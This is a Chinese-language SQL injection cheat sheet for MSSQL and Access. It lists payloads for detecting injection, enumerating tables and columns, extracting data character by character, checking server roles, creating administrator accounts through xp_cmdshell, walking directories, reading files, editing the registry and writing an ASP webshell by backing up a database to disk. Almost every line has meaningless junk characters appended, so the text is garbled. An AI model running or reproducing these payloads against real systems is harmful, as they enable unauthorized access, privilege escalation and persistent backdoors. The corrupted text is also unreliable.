1.判断是否有注入;and 1=1 ;and 1=2 6VVxpDAi:
2.初步判断是否是mssql ;and user>0 X</Sl>[8
$v #
3.注入参数是字符'and [查询条件] and ''=' ~_Fx2T:X
|'z24 :8
4.搜索时没过滤参数的'and [查询条件] and '%25'=' NU3TXO
L""ZI5J{F9
5.判断数据库系统 :;eQ*{ `\
'%wSs,HD
;and (select count(*) from sysobjects)>0 mssql @_?2iN?4Z
]A5Y/dd
;and (select count(*) from msysobjects)>0 access @6|<c
Xdx8HB@L
~^jPE)
Qrt\bz h/}
6.猜数据库 ;and (select Count(*) from [数据库名])>0 c?e-2Dp(
n~]"sTC}&
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 g'b|[ q
#:+F
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 >}\s-/
jU~ x^Y
9.(1)猜字段的ascii值(access) :L@n(buRN
!Ve0 :$
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 \8=)X} )
}8"
|q3k
(2)猜字段的ascii值(mssql) l
_%<U
NLK1IH#
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 i%[ gNh
|Y05 *!\P*
10.测试权限结构(mssql) 0&j90J$`
V:'F_/&X?
C\;l)h_{
h x&"f e
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 8QK8q:|
nq HpYb6I0
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- YI
?P@y
|Z94@uB
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- "gJ.mhHX
Y(bB7tR
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- hPSMPbI
&Ap9h#
dK
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- ^)?Wm,{"w
(;;ji!i
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- fs 2MYat
)xccs'H
;and 1=(select IS_MEMBER('db_owner'));-- :MY=Q]l
x<M::")5!V
vhbHt_!u&
-f&vH_eK
11.添加mssql和系统的帐户 'mbLK#q
V~[b`&F
;exec master.dbo.sp_addlogin username;-- R|$AcNp
;exec master.dbo.sp_password null,username,password;-- #55:qc>m
On}1&!{1]
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
Ao8ua|:
>fzyD(>
;exec master.dbo.xp_cmdshell 'net user username password c>K]$;}
l;0([_>*j
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- $uDgBZA\
X':FFD4h
;exec master.dbo.xp_cmdshell 'net user username password /add';-- Z::I3 Q
eZAMV/]jH
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- ,\iHgsZ
TLVsTM8P
QF/_?Tm4
&{.IUg
12.(1)遍历目录 BP@tI|
e' o2PW
;create table dirs(paths varchar(100), id int) 9>w~B|/
RB+Jp
;insert dirs exec master.dbo.xp_dirtree 'c:\' Au'y(KB
o& FOp'
;and (select top 1 paths from dirs)>0 "H[K3
yiQ ?p:DM
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) wpM2{NTP
zp;!HP;/=
UgGa]b[9A
cl4z%qv*
(2)遍历目录 Q}@t'
GNMOHqg4
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- O|,9EOrP
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 i`2SebDj'w
;7z6B|8
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 ]nUr E6
C7ivAh
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 {IJ;)<>&VE
%US&`BT!
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ESRj<p%W
hJ{u!:4
9)1Ye
NSz}
13.mssql中的存储过程 VQHB}Y@^
C*b[J
xp_regenumvalues 注册表根键, 子键 9Vm1q!lE
sWo`dZ\6WB
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 5q0L<GOrj
+_7a/3kh
xp_regread 根键,子键,键值名 _J!^iJ
<3{MS],<<
;exec xp_regread ~gd#cL%
Lmte ~oBi
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 losqc *|
I@KM2KMN
xp_regwrite 根键,子键, 值名, 值类型, 值 _eiqs
)*]A$\Oc[
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 PK2;Ywk`
X!Z)V)@J8
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 WT ;2aS:
%,
psUOY
xp_regdeletevalue 根键,子键,值名 G(a5@9F
MT&aH~YB
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 =tP9n ;D
y{hg4|\
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 8D )nM|
*,$5EN
zkRAul32|
GM%OO)dO}
14.mssql的backup创建webshell /9R0}4i7
fIoc)T
use model :0l+x0l}
7{F\b
create table cmd(str image); M_ukG~/
wN!\$i@E:
insert into cmd(str) values (''); V6][*.i!9
[LnPV2@e
backup database model to disk='c:\l.asp'; src9EeiV
!l
$d^y345
4?+K
`
U.<j2Kum
15.mssql内置函数 Rs<q^w]
s-"KABEE
;and (select @@version)>0 获得Windows的版本号 ]
]U )wg
C(XV
YND3
;and user_name()='dbo' 判断当前系统的连接用户是不是sa Q ]CMm2L^f
Hx gC*-A$/
;and (select user_name())>0 爆当前系统的连接用户 `yv?PlKL
#BLHHK/[
;and (select db_name())>0 得到当前连接的数据库 ;_bRq:!j;
0~ho/ _
J 4gtm"2)
j?N<40z
16.简洁的webshell l}uZxKuYx
dS6 $
use model k9x[(
#
0zH-g
create table cmd(str image); =1Sny7G
*-9i<@|(U^
insert into cmd(str) values (''); C .S BJ
EVqW(|Xg
backup database model to disk='g:\wwwtest\l.asp';